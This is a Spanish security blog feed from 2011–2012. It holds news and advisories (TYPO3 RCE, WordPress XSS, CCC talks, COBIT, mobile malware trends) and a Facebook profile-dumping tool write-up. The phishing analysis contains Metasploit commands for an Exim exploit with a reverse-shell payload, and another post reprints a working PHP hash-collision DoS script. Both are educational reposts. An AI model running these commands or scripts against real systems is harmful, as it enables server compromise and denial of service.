Pablo Ramirez Hoffmann

Facebook social engineering framework

noreply@blogger.com (Pablo Ramirez Hoffmann) — Thu, 29 Mar 2012 12:45:00 +0000

El mismo creador del framework para explotar browser y que se integra a Metasploit llamado beef, ahora libera FBPWN que es una plataforma basada en Java de para realizar ingeniería social a Facebook y sacar toda la información necesaria de un usuario, esta herramienta se puede utilizar para intentar descargar o atacar cuentas de usuario en Facebook directamente desde un Framework, este puede realizar las siguientes tareas:

· Volcar lista de amigos.
· Agregar todos los amigos de la víctima.
· Volcar todas las imágenes del álbumes de usuarios.
· Volcado de la información del perfil.
· Volcado de Fotos de perfil (Imágenes de perfil).
· Comprobar solicitud de amigos.
· Volcado los datos del muro de la víctima.
· Clon de los perfiles.

Para poder realizar el volcado de datos, debes agregar un usuario valido con su nombre y contraseña. Este se autenticara y le permitirá agregar a un usuario víctima y realizar todos lo que se muestra en la imagen siguiente y descrito anteriormente.

Este se autenticara y le permitirá agregar a un usuario víctima y realizar todos lo que se muestra en la imagen siguiente y descrito anteriormente.

Toda la información se almacena localmente por lo que incluso si la víctima desactiva su cuenta, el atacante podrá seguir contando con la información del usuario víctima.

Otro de los puntos interesantes, es que los desarrolladores permiten crear tus propios plugins, por lo cual es cosa de dejar volar la imaginación y en el siguiente link podrás encontrar información de como realizarlo: http://code.google.com/p/fbpwn/wiki/WritingYourOwnPlugin

Puedes realizar la descarga del framework desde el siguiente link: https://fbpwn.googlecode.com/files/FBPwn-beta-0.1.7.zip

Para poder conocer el funcionamiento del framework, está disponible el siguiente video tutorial: https://rapidshare.com/files/507532677/FBPwn-Video-Tutorial.ogv (Lo pueden visualizar con VLC)

URL del proyecto: http://code.google.com/p/fbpwn/

Phishing - Banco de Chile

noreply@blogger.com (Pablo Ramirez Hoffmann) — Fri, 13 Jan 2012 18:53:00 +0000

Hace varios días que estoy recibiendo en mi casilla SPAM de pramirezh@gmail.com, una serie de correo electrónicos, el primero me indican en el asunto “Nueva Sincronizacion Por Mantenimiento”, y el último que me llegó dice “Ultimo aviso de Sincronizacion”, “Notese la falta ortográfica de los mensajes… como ya se podrán imaginar, es una campaña de phishing orientada a este banco, la cual me di el tiempo de analizar y ver como trabaja este o esta organización de phishers.

El origen:
Lo primero que se puede rescatar, es la técnica de suplantación de identidad, la cual se ve de la siguiente manera en el correo electrónico.

Si se dan cuenta, viene desde el origen b1.wweb.com.br, al cual si le realizamos un scan de puertos, nos encontramos con

Como se puede observar, existe el puerto 25, con el servidor Exim smtpd, versión 4.69, la cual es vulnerable a ejecución remota de código, y el exploit está disponible en nuestro buen amigo metasploit, la sentencia de explotación, y la cual tiene que haber seguido el atacante, para poder enviar correos electrónicos con otra identidad, es la siguiente:

msf>use exploit/unix/smtp/exim4_string_format

msf exploit(exim4_string_format) >set RHOST IP_SERVER_AFECTADO

msf exploit(exim4_string_format) >set PAYLOAD cmd/unix/reverse_perl

msf exploit(exim4_string_format) >set LHOST IP_HOST_ATACANTE

msf exploit(exim4_string_format) >exploit

Todas las opciones del exploit con:

msf exploit(exim4_string_format) >show options

Como ya sabemos, desde donde se envió el correo, y como falsificaron la identidad del banco, nos vamos al cuerpo del mensaje

Cuerpo:

Se ve algo así en la mayorías de los clientes SMTP:

Si bien es cierto, en Gmail está el cartel rojo que indica que puede ser un correo falsificado, en otros sistemas antispam o clientes SMTP no está presente, lo cual tiene un mayor grado de efectividad.

El link se ve bastante fidedigno a ojos de usuarios que no tienen mucha experiencia con este tipo de ataques (https://www.bancochile.cl/bchile-perfilamiento/), pero que pasa en el código fuente de este correo:

Claramente el href enviar al usuario a http://cl2013.sytes.net, este dominio está alojado en un servicio de www.NO-IP.com, y esta siendo utilizado para redireccionar a los usuarios a http://207.201.113.192, el cual contiene el aplicativo de phishing, como lo pueden observamos en la siguiente imagen.

Ahora tratamos de ver que servicios existen en esa dirección IP y donde está ubicada.

Versión de MySQL no actualizada ¿? :-p, quizás por ahí toma el control del sitio para subir la aplicación de phishing… o quizás http://www.cvedetails.com/cve/CVE-2007-1742/ ¡!! Esto no es un rooter… solo un análisis de funcionamiento… en otra oportunidad será J

Ahora la IP, de donde es ¿?

Nada extraño… me hubiese llamado mucho la atención que estuviera alojado en Chile… le hubiese dedicado un par de horas más…

Veamos que dice un WAS

Definitivamente es explotable J

En resumen, después de esta análisis (bastante básico… y espero que no sea el último y mejorados), el phisher se movió de host, al parecer tienen que tener algún sistema de monitoreo, IPS o algo por el estilo, o quizás yo sea el paranoico y simplemente se cambio por que lo detectaron…

Para la próxima hacemos un rooter de phishing Chilensis…

DoS ACK Technique

noreply@blogger.com (Pablo Ramirez Hoffmann) — Mon, 09 Jan 2012 19:20:00 +0000

Las conexiones a Internet avanzan a una velocidad inusitada para poder dar un mejor servicio a los usuarios. Los ISPs, cada vez más, ofrecen anchos de banda descomunales a aquellos clientes que alojan sus páginas web. Lejos y atrás quedaron los tiempos en los que conseguir acceso (ya sea de forma lícita… o por las bravas) a una máquina con un gran ancho de banda, permitía tener el bastón de mando para "DoS-ear" servidores con conexiones a Internet más modestas.

Por ello, actualmente, si no es mediante una botnet potente o una convocatoria Anonymous, hay que buscar alternativas a efectuar un DoS, que nada tengan que ver con colapsar las capacidades de ancho de banda del servidor. Así pues, tres de los últimos tipos de ataques DoS de servidores web, se basan precisamente en el envío de tráfico "muy lentamente", colapsando el número de sesiones máximas disponibles en el servidor.

Contando con predecesores como Slowloris y "Slow HTTP POST", Sergey Shekyan, desarrollador en Qualys, ha descubierto una nueva manera de colapsar servidores, y lo ha llamado "Slow Read".

Por resumir un poco el funcionamiento de los ataques DoS anteriores:

· En Slowloris, las peticiones al servidor se realizan enviando las cabeceras de la petición muy lentamente, no terminando nunca de ser enviadas. De esta manera, mientras el servidor no recibe todas las cabeceras, no considera como sesión web establecida, y no sabe si ha superado el número de conexiones máximas configuradas (por ejemplo, en Apache mediante la variable maxclients). En Slow HTTP POST, se envían al servidor las peticiones POST con todas las cabeceras, incluyendo "Content-Length" que indica el tamaño del POST DATA a enviar. Así, el servidor queda esperando a que el cliente envíe tantos bytes, como indique la cabecera "Content-Length". El ataque en sí se basa en que, los datos del POST, los irá enviando muy despacio el cliente hacia el servidor, consumiendo una sesión abierta por cada POST, así como los recursos que reserva el servidor para recibir los datos que envía el cliente.

· En el caso del nuevo ataque DoS, Slow Read, el procedimiento consiste en enviar una petición lícita a un servidor, sin embargo, el éxito radica en ralentizar lo máximo posible la recepción de los datos por parte del servidor hacia el cliente. Al ser TCP el protocolo web, es decir, orientado a la conexión y con control de errores, hasta que el servidor no recibe los correspondientes paquetes con Flag ACK indicando al servidor que prosiga enviando el resto de los datos, no se dará por finalizada la sesión, y por ende, los recursos no serán liberados en el servidor.

Mitigar este tipo de ataques resulta muy complicado, puesto que no se basan en patrones detectables por mecanismos como IPS o WAF debido al tipo de la petición. De hecho, el WAF libre mod_security, implementa mecanismos que permiten mitigar este y otros tipos de Denegaciones de Servicio, en base a limitar el número de conexiones por IP origen que se encuentren en estado SERVER_BUSY_WRITE, mediante la configuración de la directiva SecWriteStateLimit. Otra forma de mitigación de este tipo de ataques es mediante la inclusión de límites de tiempo existentes por cada conexión, a la hora de recibir cabeceras, así como en las transmisiones de datos en el envío o de recepción. Sin embargo, estas medidas son peligrosas puesto que cuando las conexiones se efectúan tras un proxy de forma lícita por muchos clientes, se pueden dar situaciones que provoquen un falso positivo denegando un montón de conexiones.

Para poder hacer pruebas, evidentemente con fines académicos y en ningún momento con intenciones destructivas, se ha publicado de forma libre la herramienta Slowhttptest, que implementa los tres tipos de ataque descritos en este artículo.

XSS Wordpress 3.x PoC

noreply@blogger.com (Pablo Ramirez Hoffmann) — Thu, 05 Jan 2012 12:58:00 +0000

Se ha reportado una vulnerabilidad crítica de XSS en WordPress 3.x que permitiría realizar un ataque de cross-site scripting (XSS) en un equipo afectado. El impacto de esta alerta se ha clasificado como crítica

Se recomienda actualizar a WordPress 3.3.1 y realizar un mantenimiento y actualización continua sobre todos los complementos utilizados.

Otras recomendaciones importantes:

· Utilizar un Firewall de Aplicación Web (WAF) Recomiendo IMPERVA in the Cloud

· Realizar un proceso de aseguramiento (hardening) del servidor utilizado. Principalmente del sistema operativo, de la base de datos (También existen Firewall de Bases de Datos), del servidor web y del lenguaje PHP (Recuerden la Colisión de Hashes de los diferente lenguajes).

· No utilizar programas, complementos, módulos o agregados en ambientes de producción sin realizar pruebas de seguridad. Tener en cuenta que muchos de los complementos disponibles no cuentan con una codificación que minimice los riesgos de seguridad.

· Remover todo complemento o módulo que no sea necesario o utilizado y mantener actualizados tanto la aplicación WordPress, como todos los complementos utilizados.

Ahora lo entretenido, la prueba de concepto PoC:

Así se ve en el Browser:

Detalle de la Falla:

# Exploit Title: Reflected Cross Site Scripting in wordpress 3.3
# Google Hack: intext:"Proudly powered by WordPress"
# Date: 2.Jan.2012
# Author: Aditya Modha, Samir Shah
# Greetz: Jigar Soni, Mr 52
# Software Link: http://www.wordpress.org/download/
# Version: 3.3
# Tested on: apache
# CVE : UPS ¡!!!!

PoC - PHP Hashtables Denial of Service

noreply@blogger.com (Pablo Ramirez Hoffmann) — Wed, 04 Jan 2012 13:51:00 +0000

Este es uno de los exploit (Lenguaje PHP) disponibles para
el ataque expuesto por   Julian
| zeri y Alexander
‘alech’ Klink  en la  Chaos
Communication Congress. Cortesía de Exploit-DB y confeccionado por http://www.infodox.co.cc/.

# Exploit
Title: CVE-2011-4885 PHP Hashtables Denial of Service

Exploit

 # Date: 1/1/12

 # Author: infodox

 # Software Link: php.net

 #

Version:
5.3.*

 # Tested on: Linux

 # CVE : CVE-2011-4885

Exploit

Download --
http://infodox.co.cc/Downloads/phpdos.txt

/----------------------------------------------------/

/*

PHP 5.3.*
Hash Colission DoS Exploit by infodox

Original
version by itz me (opensc.ws)

CVE-2011-4885

Mirrors List:

http://www.exploit-db.com/sploits/hashcollide.txt

http://compsoc.nuigalway.ie/~infodox/hashcollide.txt

http://jrs-s.net/hashcollide.txt

http://www.infodox.co.cc/Downloads/hashcollide.txt

Changes:

Different
mirror for hashcollide.txt

Now takes
target as a command line argument

Status
message printing

Twitter:
@info_dox

Blog:
blog.infodox.co.cc

Site: http://www.infodox.co.cc/

*/

$targ =
$argv[1];

$x =
file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this
doesnt work replace with the mirrors_lst ones...

while(1) {

 echo "firing";

 $ch = curl_init("$targ");

 curl_setopt($ch, CURLOPT_POSTFIELDS, $x);

 curl_exec($ch);

 curl_close($ch);

 echo "[+] Voly Sent!";

}

?>

Chaos Communication Congress 2011 - Slide

noreply@blogger.com (Pablo Ramirez Hoffmann) — Wed, 04 Jan 2012 13:07:00 +0000

Ya están disponibles todas las presentaciones de la Conferencia Chaos Communication Congress… una de las charlas que ha dado mucho que hablar, y a ocupado gran parte de los sitios de news, es la de Julian | zeri y Alexander ‘alech’ Klink, donde se muestra como provocar un DoS a las aplicaciones web construidas con gran parte de los lenguajes de programación disponible.

Disertante	Evento
0zapfths	Der Staatstrojaner
Alexander ‘alech’ Klink	Effective Denial of Service attacks against web application platforms
Alexander Koch	Ein Mittelsmannangriff auf ein digitales Signiergerät
Alexander Müller	Politik hacken
Alex Antener	"Neue Leichtigkeit"
Alien8	Pentanews Game Show 2k11/3
Aluc	The engineering part of social engineering
Amelie Boehm	"Neue Leichtigkeit"
Andreas Bogk	Jahresrückblick
Andreas -horn- Hornig	Building a Distributed Satellite Ground Station Network - A Call To Arms
Andreas Krisch	EU-Datenschutz und das Internet der Dinge EU-Datenschutz und das Internet der Dinge (english translation)
Andrei Costin	Hacking MFPs
Andrin Uetz	"Neue Leichtigkeit"
Andy Müller-Maguhn	BuggedPlanet
Ang Cui	Print Me If You Dare
Anne Roth	Sachsen dreht frei
Artur Janc	Rootkits in your Web application
Baris	The movements against state-controlled Internet in Turkey
Bärwulf Kannitschreiber	Politik hacken
Bastian Greshake	Crowdsourcing Genome Wide Association Studies
Benjamin Kellermann	NPC - Nerds’ Pissing Contest
Bicyclemark	7 years, 400+ podcasts, and a whole lot of Frequent Flyer Miles
Brenno de Winter	Changing techno-optimists by shaking up the bureaucrats
Bruhns	Apple vs. Google Client Platforms
bunnie	Implementation of MITM Attack on HDCP-Secured Links
Caspar Clemens Mierau	The Hack will not be televised?
Cathrine Kramer	Eating in the Anthropocene
Chris Kubecka	Security Log Visualization with a Correlation Engine
Christian Bahls - MOGiS e.V.	Counterlobbying EU institutions
Christian Bahls -- MOGiS e.V. - Eine Stimme der Vernunft	What is WhiteIT and what does it aim for?
Christian Kleineidam	Quantified-Self and OpenBCI Neurofeedback Mind-Hacking
Christoph Engemann	What is in a name?
Conrad Lee	Privacy Invasion or Innovative Science?
Constanze Kurz	Der Staatstrojaner Jahresrückblick
Cory Doctorow	The coming war on general computation
Dan Kaminsky	Black Ops of TCP/IP 2011
Dario Carluccio	Smart Hacking For Privacy
David Kim	KinectFusion
Drew Fisher	Reverse Engineering USB Devices
endrazine	Post Memory Corruption Memory Analysis
Erdgeist	Jahresrückblick
Eric Filiol	Taking control over the Tor network
Evgeny Morozov	Marriage From Hell: On the Secret Love Affair Between Dictators and Western Technology Companies
Fabian Mihailowitsch	Don't scan, just ask
Falk Lüke	Echtes Netz
Felix von Leitner	Fnord-Jahresrückblick
Frank Rieger	Closing Event Der Staatstrojaner Fnord-Jahresrückblick Jahresrückblick Security Nightmares
FX of Phenoelit	Apple vs. Google Client Platforms
greg	Apple vs. Google Client Platforms
Guillaume Delugré	Reverse-engineering a Qualcomm baseband
Gunnar Thöle	Power gadgets with your own electricity
hadez	Building a Distributed Satellite Ground Station Network - A Call To Arms
Harald Welte	Cellular protocol stacks for Internet
Helga Velroyen	Bionic Ears
Herr Urbach	Your Disaster/Crisis/Revolution just got Pwned
Jacob Appelbaum	How governments have tried to block Tor
Jean-Jacques Quisquater	The future of cryptology: which 3 letters algorithm(s) could be our Titanic?
Jérémie Zimmermann	Counterlobbying EU institutions
Jesse Ou	New Ways I'm Going to Hack Your Web App
_john	Pentanews Game Show 2k11/3
Jonas Bischof	"Neue Leichtigkeit"
Jonathan Voris	Print Me If You Dare
Jörg Dürre	Power gadgets with your own electricity
Josephine Fischer	Demokratie auf Sächsisch
Julian \| zeri	Effective Denial of Service attacks against web application platforms
Kai Denker	Does Hacktivism Matter?
Karsten Becker	Not your Grandfathers moon landing
Karsten Nohl	Defending mobile phones
Kay	NOC Review
Kay Hamacher	Bitcoin - An Analysis Resilience Towards Leaking or Why Julian Assange Might Be Wrong After All
klobs	DC+, The Protocol NPC - Nerds’ Pissing Contest Pentanews Game Show 2k11/3
lilafisch	r0ket++
Luca Melette	Defending mobile phones
maha/Martin Haase	„Die Koalition setzt sich aber aktiv und ernsthaft dafür ein“
Markus Beckedahl	Echtes Netz
Martin Wundram	Antiforensik
Mathias Payer	String Oriented Programming
Meredith L. Patterson	The Science of Insecurity
MetaMind Evolution	Quantified-Self and OpenBCI Neurofeedback Mind-Hacking
Michael Brennan	Deceiving Authorship Detection
Montserrat Graupenschläger	Politik hacken
Nick Farr	Lightning Talks Day 2 Lightning Talks Day 3 Lightning Talks Day 4
Ninja / The Dreams	Behind the scenes of a C64 demo
Peio Popov	Electronic money: The road to Bitcoin and a glimpse forward
Peter Eckersley	Sovereign Keys
Philipp Bayer	Crowdsourcing Genome Wide Association Studies
pt	Ooops I hacked my PBX
Rachel Greenstadt	Deceiving Authorship Detection
Ray	Hacker Jeopardy
Redbeard	Macro dragnets: Why trawl the river when you can do the whole ocean
Renaud Devaliere	The future of cryptology: which 3 letters algorithm(s) could be our Titanic?
Rene Meissner	Datenvieh oder Daten-Fee
Reporters Without Borders	From Press Freedom to the Freedom of information
Rich	New Ways I'm Going to Hack Your Web App
Robert Böhme	Not your Grandfathers moon landing
Robert Helling	Quantum of Science
Robin Upton	A Brief History of Plutocracy
Roger Dingledine	How governments have tried to block Tor
Ron	Security Nightmares
Ruben Bloemgarten	ChokePointProject - Quis custodiet ipsos custodes?
ruedi tobler	"Neue Leichtigkeit"
Samuel Weniger	"Neue Leichtigkeit"
Sebastian Schinzel	Time is on my Side
seda	The movements against state-controlled Internet in Turkey
Sergey	The Science of Insecurity
Seun Omosowon	Taking control over the Tor network
Simona Xnet	The best of The oXcars
Stefan Burschka	Datamining for Hackers
Stefan Katzenbeisser	Bitcoin - An Analysis Can trains be hacked?
Stefan 'Sec' Zehl	Hacker Jeopardy r0ket++
Stefan Wehrmeyer	Frag den Staat
Stephan Brinkhaus	Smart Hacking For Privacy
Susanne Schultz	Almighty DNA?
Suso Baleato	Towards a Single Secure European Cyberspace?
Sven Oliver ('SvOlli') Moll	The Atari 2600 Video Computer System: The Ultimate Talk
Sylvain Munaut	Introducing Osmo-GMR
Teague	SCADA and PLC Vulnerabilities in Correctional Facilities
Tiffany Rad	SCADA and PLC Vulnerabilities in Correctional Facilities
tilo	TRESOR: Festplatten sicher verschlüsseln
Tobias Naumann	Demokratie auf Sächsisch
Tom Hargreaves	Open source music: Tracking 2.0
Travis Goodspeed	802.11 Packets in Packets
Ulf Buermeyer	Der Staatstrojaner
Uta Wagenmann	Almighty DNA?
Wes Faler	Automatic Algorithm Invention with a GPU Evolving custom communication protocols
Will Hargrave	NOC Review
willowbl00	Your Disaster/Crisis/Revolution just got Pwned
Yuval Adam	Data Mining the Israeli Census
Zack Denfeld	Eating in the Anthropocene
Zoran Zaric	bup: Git for backups

Hackers al espacio & algo más

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 03 Jan 2012 17:36:00 +0000

El grupo de hackers Chaos Computer Club (CCC) está realizando un proyecto con el que esperan conseguir fondos para enviar un satélite al espacio desde el que poder operar sin control ni censura para realizar sus actividades. Los hackers aseguran que es una forma de evitar las medidas de control y censura que hay en Internet.

El proyecto se identifica como Red Global Hackerspace y tiene como objetivo el lanzamiento al espacio de satélites que libres del control y la posible censura de ningún órgano mundial. Se trata de un proyecto con meses de desarrollo, pero que ha sido presentado de forma oficial en el Chaos Communication Congress de Berlín, uno de los encuentros de hackers más conocidos en todo el mundo.

Durante el evento, la aprobación de la regulación SOPA en Estados Unidos ha sido una de las cuestiones más debatidas. Los hackers se han mostrado totalmente en contra de esa regulación de la Red. Lo que para algunos es una herramienta para la protección de los derechos de propiedad, para otros es una forma de censura y represión de los derechos de los internautas.

Para luchar contra ese control de la Red y poder realizar sus actividades libremente, los hackers han propuesto crear su propia red de satélites espaciales. En caso de conseguir enviar al espacio los satélites, los hackers cuentan con que actualmente no hay una legislación vigente que pudiese impedir su utilización. El resultado sería una red de conexión sin ningún tipo de control, en el que los hackers podrían realizar sus actividades sin que haya agentes de supervisión de las actividades.

Según la BBC, los hackers ya han realizado experimentos para el envío de satélites, utilizando medios discretos que no han conseguido un éxito concreto. El objetivo de los hackers que han planteado el proyecto en el Chaos Communication Congress ha sido el de movilizar a la comunidad e intentar encontrar financiación. El dinero y los conocimientos técnicos son los principales problemas de la iniciativa, que siendo ambiciosa, también plantea la posibilidad en el futuro, en unos 23 años, de mandar a un hombre al espacio.

Las implicaciones del éxito del proyecto son que los hackers conseguirían una red de acceso a Internet sin control. Por una parte, esa red sería libre y nadie podría censurarla, pero en el lado negativo, la falta de control podría propiciar el lanzamiento de ataques más peligrosos y sofisticados de los que hay actualmente. Por el momento los hackers continúan buscando financiación y apoyo logístico para hacer realidad el proyecto, pero parece que el futuro de la red y su seguridad pasará por el espacio.

En la conferencia también se dio a conocer una vulnerabilidad en gran parte de los lenguajes de programación, la cual provoca un DoS sobre el servicio. Más detalles en el siguiente link:

http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf

Auditar COBIT - ISACA

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 27 Dec 2011 18:03:00 +0000

Durante últimos 15 años, empresas en todo el mundo han utilizando COBIT para mejorar y evaluar sus procesos de TI. Sin embargo, hasta ahora no existía un programa consistente para evaluar estos procesos. El nuevo Programa de Evaluación de COBIT de ISACA ofrece consistencia y confiabilidad para que los líderes de la empresa y de TI puedan confiar tanto en los procesos de evaluación como en la calidad de los resultados, al mismo tiempo que maximizan el valor de sus inversiones en TI.

Después de llevar a cabo una encuesta a nivel global en el 2010 para determinar las necesidades del mercado, ISACA descubrió que el 89% de los 1,400 entrevistados expresó la necesidad de una evaluación rigurosa y confiable de la capacidad de los procesos de TI. Para cubrir con esta solicitud ISACA dio a conocer el Programa de Evaluación de COBIT (COBIT Assessment Programme), que consta de tres partes y que está basado en COBIT 4.1 e ISO/IEC 15504-2:2003 Tecnología de Información—Evaluación de procesos—Parte 2: Realizando una evaluación:

· Modelo de Evaluación de Procesos de COBIT: Usando COBIT 4.1

· Guía para Asesores de COBIT: Usando COBIT 4.1

· Guía de Autoevaluación de COBIT: Usando COBIT 4.1

"El nuevo programa de evaluación brinda una metodología para realizar evaluaciones repetibles, confiables y robustas a los procesos”, señaló Max Shanahan, CISA, CGEIT, FCPA, y miembro del equipo de desarrollo. “Además de brindar un valor agregado inmediato a partir de los resultados, el Programa de Evaluación de COBIT también ofrece la base para la creación de evaluaciones más amplias".

El documento está disponible para descarga gratuita en www.isaca.org/cobit. Las guías del Programa de Evaluación de COBIT están disponibles en http://www.isaca.org/cobit-assessment-programme

Release Note:

http://www.isaca.org/About-ISACA/Press-room/News-Releases/2011/Pages/ISACA-Issues-COBIT-Process-Assessment-Model.aspx

Descarga de Cobit 4.1 Español:

http://www.isaca.org/Knowledge-Center/cobit/Pages/Downloads.aspx

Tendencias de Malware en Dispositivos Móviles

noreply@blogger.com (Pablo Ramirez Hoffmann) — Thu, 22 Dec 2011 13:07:00 +0000

El Laboratorio de ESET Latinoamérica ha desarrollado un artículo sobre lo que serán las tendencias en materia de malware y cibercrimen para el siguiente año. En esta oportunidad, anuncian que ya está disponible un nuevo documento, titulado “Tendencias 2012: El malware a los móviles“, que describe cuáles serán las amenazas informáticas más relevantes para el año 2012 y cómo seguirán evolucionando los códigos maliciosos. El mismo ya está disponible para su descarga en el sitio web http://www.eset-la.com/pdf/prensa/informe/tendencias_2012_el_malware_a_los_moviles.pdf, y aquí comparto con ustedes algunos fragmentos de la introducción:

Las costumbres de los usuarios en cuanto al uso de tecnologías, siempre han influido y determinado el desarrollo de malware y, esta tendencia, seguirá estando vigente. Teniendo en cuenta este punto, el marcado crecimiento en la utilización de dispositivos móviles será determinante el próximo año, dado que estas plataformas ya no son un espacio de entrada prohibida para el malware debido a que los desarrolladores de códigos maliciosos han trabajado en los últimos años para poder infectar este tipo de dispositivos. En el presente documento describiremos cómo la migración de las amenazas para equipos de escritorio al mundo móvil está a la orden el día.

En ese contexto, las amenazas para dispositivos móviles, tanto en materia de nuevos códigos maliciosos como de estafas en Internet, entre otras; serán lo más relevante para el próximo año, además de la aparición de nuevos tipos de ataques, como así también de nuevas variantes de aquellas existentes.

Como verán, en el inicio del documento ya dejan en claro lo que, a nuestro criterio, será el aspecto más destacado del malware el próximo año: la creación de nuevas amenazas (y especialmente variantes de aquellas ya existentes) para dispositivos móviles.

En la actualidad hay cinco mil millones de dispositivos móviles en el mundo, y uno de cada cuatro de estos son smartphones, es decir, teléfonos inteligentes con la capacidad de conectarse a Internet y, por lo tanto utilizar acceso a correos electrónicos (sean personales o corporativos), redes sociales e incluso sitios de eCommerce o Home Banking. Además, las capacidades de almacenamiento hacen de los dispositivos móviles un blanco de alto interés para los delincuentes informáticos, por la cantidad de información disponible en estos.

A partir de esta motivación, podrán encontrar en el informe cómo ha evolucionado el malware para estos el último año, marcando la tendencia para el 2012. En ese contexto Android, el sistema operativo de Google que lidera el mercado con el 43% del market share, será el protagonista, ya que ha concentrado la atención de los desarrolladores de malware para dispositivos móviles los últimos meses. En el siguiente gráfico podrán visualizar la evolución de 41 códigos maliciosos para esta plataforma:

Nótese que el mismo comienza en agosto del 2010, con el surgimiento de FakePlayer, descubierto por PandaSecurity, el primer troyano para Android; hasta octubre de este año cuando finalizó la edición del documento. En ese tiempo, como ya se mencionó, ha identificado 41 códigos maliciosos y variantes importantes para esta plataforma. También es importante remarcar cómo la imagen resalta la densidad de aparición, siendo que el 65% de las amenazas aparecen en los últimos cinco meses, destacando la tendencia identificada para el próximo año. Asimismo, otras conclusiones de este análisis, que podrán encontrar más detalladas en el documento, indican que:

El 30% de las amenazas estuvieron disponibles para su descarga en el Android Market.
El 37% son troyanos SMS.
El 60% de los códigos maliciosos tienen alguna característica de botnets, es decir, algún tipo de control remoto sobre el dispositivo.

También podrán encontrar en el informe dos aspectos muy importantes sobre las amenazas en dispositivos móviles:

el caso de DroidDream como primer malware de impacto masivo en móviles (250 mil usuarios afectados) y un análisis sobre cuál será el lugar que ocupará Android en lo que respecta al malware para estas plataformas (¿el nuevo Windows XP?).

Recuerden que pueden leer el informe completo en la sección de Informes y Tendencias en el Centro de Amenazas de ESET Latinoamérica.

Ejecución remota de código en TYPO3

noreply@blogger.com (Pablo Ramirez Hoffmann) — Wed, 21 Dec 2011 12:18:00 +0000

Se ha publicado un parche para las versiones 4.5.x y 4.6.x de TYPO3, destinado a solucionar un fallo de ejecución remota de código.

TYPO3 es un gestor CMS web e intranet, de software libre licenciado bajo licencia GPLv3 para PHP. Se enfoca al nivel empresarial, según las estadísticas W3Techs se sitúa en uso por detrás de Drupal o Joomla.

El error se encuentra en "AbstractController.php", donde se realiza la siguiente llamada:

require_once($GLOBALS['BACK_PATH'] . 'template.php');

la ruta de acceso al archivo vulnerable es la siguiente: typo3/sysext/workspaces/Classes/Controller/AbstractController.php

Un atacante podría ejecutar código arbitrario si modifica el valor de la variable global "BACK_PATH" y hace que apunte a una url controlada por él. Por tanto, para ser vulnerable a este fallo el servidor tiene que tener activo los siguientes parámetros: "register_globals", "allow_url_include" y "allow_url_fopen".

Los sistemas con el módulo Suhosin PHP no son vulnerables salvo que se hubiera modificado "suhosin.executor.include.whitelist"., también dejo una buena presentación de como asegurar TYPO3 con Suhosin y Mod_Security: http://www.slideshare.net/xperseguers/protecting-typo3-with-suhosin-and-modsecurity

Como contramedida para servidores Apache con "mod_security" se puede añadir la regla:

SecRule ARGS:BACK_PATH "^(https?|ftp)" "deny"

Se recomienda actualizar a las versiones 4.5.9 y 4.6.2 que no son vulnerables a este fallo. También se ha publicado un parche disponible en:

http://typo3.org/fileadmin/security-team/bug32571/32571.diff

Más información:

TYPO3 Security Bulletin:

http://typo3.org/teams/security/security-bulletins/typo3-core/typo3-core-sa-2011-004/

Como asegurar TYPO3 (Versión Ingles):

http://typo3.org/documentation/document-library/extension-manuals/doc_guide_security/1.0.0/view/

Chile 8.8 - Computer Security Conference

noreply@blogger.com (Pablo Ramirez Hoffmann) — Wed, 26 Oct 2011 13:53:00 +0000

POR FIIIIIIIIIIIIN…

El 18 de noviembre de este año se realizará la primera conferencia técnica de seguridad de la información (Hacking) en Chile llamada 8.8 Computer Security Conference. La entrada a la conferencia se puede adquirir a través del sitio web y tiene un valor de $20.000 pesos (40 USD) que incluye una polera de 8.8 (sólo si compras por internet).

Esta idea seguramente la tuvieron muchos (y me incluyo), pero hasta la fecha no existía una instancia como esta para conocer y compartir conocimientos en este ámbito de la seguridad. Este año, en junio, un grupo de profesionales del rubro de seguridad de la información se juntaron y decidieron crear una conferencia 100% técnica enfocada principalmente en compartir conocimientos y experiencias. El objetivo era una conferencia distinta, más alternativa, donde el foco fuera compartir experiencias, técnicas y conocimiento, no orientada a gobernabilidad y gestión (que también son importantes), o simplemente con fines comerciales. Queremos dejar en evidencia las nuevas técnicas que se están usando para explotar plataformas, sistemas, los últimos tipos de ataques registrados, la forma en que ellos se concretaron, se repelieron o se solucionaron.

Para lograrlo, contactamos profesionales de Alemania, Argentina, Brasil, Chile, Estados Unidos e Italia que vienen a compartir su conocimiento, técnicas, experiencia e historias y tendrán la misión de hacer de esta conferencia un evento imperdible. Ya pueden revisar las bio de los expositores y sus charlas en http://8dot8.org/talks.php.

La conferencia terminará con un after-event en donde los expositores y participantes podrán estar cara a cara y compartir conocimientos y experiencias en un ambiente distendido.

Los organizadores están seguros que marcarán un precedente y que la conferencia será un éxito, invitan a los lectores a no dejar pasar esta oportunidad.

Espero verlos en el 8.8 y en la HackerSpace

Les deseo mucho éxito a los organizadores http://www.8dot8.org/about.php

Amenaza Facebook - Felipe Camiroaga

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 06 Sep 2011 13:18:00 +0000

Como se veía venir, ya comenzaron los engaños en Facebook, y a mi punto de vista, ya se vienen los spammers referente al accidente ocurrido en el archipiélago de Juan Fernandez, tomen precauciones e informen a sus usuarios de este tipo de amenzas.

Haciendo alusión al accidente de Felipe Camiroaga, se encuentran en circulación varias páginas de Facebook que dicen que el animador ha grabado un video antes de su muerte.

Al intentar ver el supuesto video aparece un página solicitando que se presione sobre varios botones "Me gusta", lo cual si bien no es un virus, como muchos dicen, sí corresponde al típico engaño ya muchas veces analizado.

En engaño es tan evidente que incluso puede ver que la imagen falsa está alojada en un servidor gratuito, el cual puede ser bloqueado a través de sus filtros web, firewall, IPS y demases bichos presente en el borde de nuestra red.

Si bien es cierto, esto no es una vulnerabilidad, pero si los tipos mal intencionados puede lograr que nuestros usuarios caigan en la trampa y re dirigirlos a sitios que tienen colgado malware, utilizando diferentes técnicas, como la ya tan conocida http://en.wikipedia.org/wiki/Drive-by_download

Rompiendo Contraseñas in the Cloud

noreply@blogger.com (Pablo Ramirez Hoffmann) — Mon, 29 Aug 2011 14:34:00 +0000

El investigador de seguridad alemán Thomas Roth (de Lanworks AG), que ha estado utilizando los servicios de Amazon EC2 para descifrar contraseñas cifradas con el algoritmo SHA1, dijo que la computación en nube ponen en mano de las masas las herramientas necesarias para romper contraseñas y datos cifrados.

